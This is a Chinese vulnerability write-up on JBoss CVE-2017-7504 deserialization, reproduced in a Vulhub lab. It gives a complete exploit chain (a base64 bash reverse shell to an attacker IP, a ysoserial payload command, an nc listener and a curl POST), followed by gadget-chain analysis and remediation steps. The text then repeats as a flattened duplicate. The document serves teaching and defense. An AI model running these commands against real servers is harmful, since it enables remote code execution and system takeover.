[JBoss JMXInvokerServlet 反序列化-CVE-2017-7504]
字数 1989 2025-08-11 21:26:31

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2017-7504) 详细分析

漏洞概述

CVE-2017-7504是JBoss应用服务器中的一个远程代码执行漏洞,由于JBoss在/invoker/JMXInvokerServlet端点处理用户请求时未对传入的序列化数据进行安全检查,攻击者可以通过构造恶意的序列化对象实现远程代码执行。

漏洞原理

该漏洞属于Java反序列化漏洞,核心问题在于:

  1. JBoss的JMXInvokerServlet接受并反序列化用户提供的任意数据
  2. 攻击者可以利用Apache Commons Collections库中的反序列化链(Gadget)构造恶意对象
  3. 当服务器反序列化这些对象时,会执行其中包含的恶意代码

影响范围

受影响的JBoss产品及版本包括:

  • JBoss Enterprise Application Platform: 6.4.4, 5.2.0, 4.3.0_CP10
  • JBoss AS (Wildly) 6及更早版本
  • JBoss A-MQ 6.2.0
  • JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS) 6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1, 3.0

环境搭建

使用Vulhub提供的环境进行复现:

  1. 下载Vulhub环境:https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization
  2. 启动环境后访问http://your-ip:8080/查看JBoss默认页面
  3. 漏洞存在于http://your-ip:8080/invoker/JMXInvokerServlet端点

漏洞复现步骤

准备工作

  1. 工具准备:下载ysoserial工具https://gitcode.net/mirrors/frohoff/ysoserial/
  2. 准备反弹Shell命令并Base64编码:
    bash -c "bash -i >& /dev/tcp/192.168.61.128/6666 0>&1"
    
    编码后得到:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=

生成Payload

使用ysoserial生成恶意序列化数据:

java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

设置监听

在攻击机上开启监听:

nc -lvp 6666

发送Payload

使用curl发送恶意请求:

curl http://192.168.61.129:8080/invoker/readonly --data-binary @poc.ser

结果验证

如果漏洞存在且利用成功,攻击机的nc监听端口将收到目标服务器的Shell连接。

漏洞分析

  1. 请求处理流程

    • JBoss接收到/invoker/JMXInvokerServlet的POST请求
    • 服务器读取请求体中的序列化数据
    • 直接反序列化这些数据而不进行安全检查
  2. 利用链分析

    • 使用Apache Commons Collections中的InvokerTransformerChainedTransformer等类构造调用链
    • 通过AnnotationInvocationHandlerBadAttributeValueExpException等触发点启动反序列化过程
    • 最终执行Runtime.exec()或类似方法执行任意命令

修复建议

  1. 临时解决方案

    • 不需要http-invoker.sar组件的用户可直接删除此组件
    • 在http-invoker.sar下的web.xml中添加安全约束:
      <security-constraint>
          <web-resource-collection>
              <web-resource-name>HttpInvoker</web-resource-name>
              <url-pattern>/*</url-pattern>
          </web-resource-collection>
          <auth-constraint>
              <role-name>admin</role-name>
          </auth-constraint>
      </security-constraint>
      
  2. 长期解决方案

    • 升级到不受影响的JBoss版本
    • 在所有Java应用中实施反序列化过滤器,如使用SerialKiller或类似解决方案
    • 从类路径中移除有问题的库(如旧版Apache Commons Collections)

防御措施

  1. 监控和过滤对/invoker/JMXInvokerServlet的访问
  2. 实施网络层面的访问控制,限制对JBoss管理接口的访问
  3. 定期更新Java环境和相关库
  4. 使用Java安全管理器限制敏感操作

参考链接

  • 漏洞分析:https://paper.seebug.org/312/
  • Vulhub环境:https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization
  • ysoserial工具:https://gitcode.net/mirrors/frohoff/ysoserial/
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2017-7504) 详细分析 漏洞概述 CVE-2017-7504是JBoss应用服务器中的一个远程代码执行漏洞,由于JBoss在 /invoker/JMXInvokerServlet 端点处理用户请求时未对传入的序列化数据进行安全检查,攻击者可以通过构造恶意的序列化对象实现远程代码执行。 漏洞原理 该漏洞属于Java反序列化漏洞,核心问题在于: JBoss的 JMXInvokerServlet 接受并反序列化用户提供的任意数据 攻击者可以利用Apache Commons Collections库中的反序列化链(Gadget)构造恶意对象 当服务器反序列化这些对象时,会执行其中包含的恶意代码 影响范围 受影响的JBoss产品及版本包括: JBoss Enterprise Application Platform: 6.4.4, 5.2.0, 4.3.0_ CP10 JBoss AS (Wildly) 6及更早版本 JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Data Virtualization (JDV) 6.1.0 JBoss Fuse Service Works (FSW) 6.0.0 JBoss Enterprise Web Server (EWS) 2.1, 3.0 环境搭建 使用Vulhub提供的环境进行复现: 下载Vulhub环境: https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization 启动环境后访问 http://your-ip:8080/ 查看JBoss默认页面 漏洞存在于 http://your-ip:8080/invoker/JMXInvokerServlet 端点 漏洞复现步骤 准备工作 工具准备:下载ysoserial工具 https://gitcode.net/mirrors/frohoff/ysoserial/ 准备反弹Shell命令并Base64编码: 编码后得到: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE= 生成Payload 使用ysoserial生成恶意序列化数据: 设置监听 在攻击机上开启监听: 发送Payload 使用curl发送恶意请求: 结果验证 如果漏洞存在且利用成功,攻击机的nc监听端口将收到目标服务器的Shell连接。 漏洞分析 请求处理流程 : JBoss接收到 /invoker/JMXInvokerServlet 的POST请求 服务器读取请求体中的序列化数据 直接反序列化这些数据而不进行安全检查 利用链分析 : 使用Apache Commons Collections中的 InvokerTransformer 、 ChainedTransformer 等类构造调用链 通过 AnnotationInvocationHandler 或 BadAttributeValueExpException 等触发点启动反序列化过程 最终执行Runtime.exec()或类似方法执行任意命令 修复建议 临时解决方案 : 不需要http-invoker.sar组件的用户可直接删除此组件 在http-invoker.sar下的web.xml中添加安全约束: 长期解决方案 : 升级到不受影响的JBoss版本 在所有Java应用中实施反序列化过滤器,如使用SerialKiller或类似解决方案 从类路径中移除有问题的库(如旧版Apache Commons Collections) 防御措施 监控和过滤对 /invoker/JMXInvokerServlet 的访问 实施网络层面的访问控制,限制对JBoss管理接口的访问 定期更新Java环境和相关库 使用Java安全管理器限制敏感操作 参考链接 漏洞分析:https://paper.seebug.org/312/ Vulhub环境:https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization ysoserial工具:https://gitcode.net/mirrors/frohoff/ysoserial/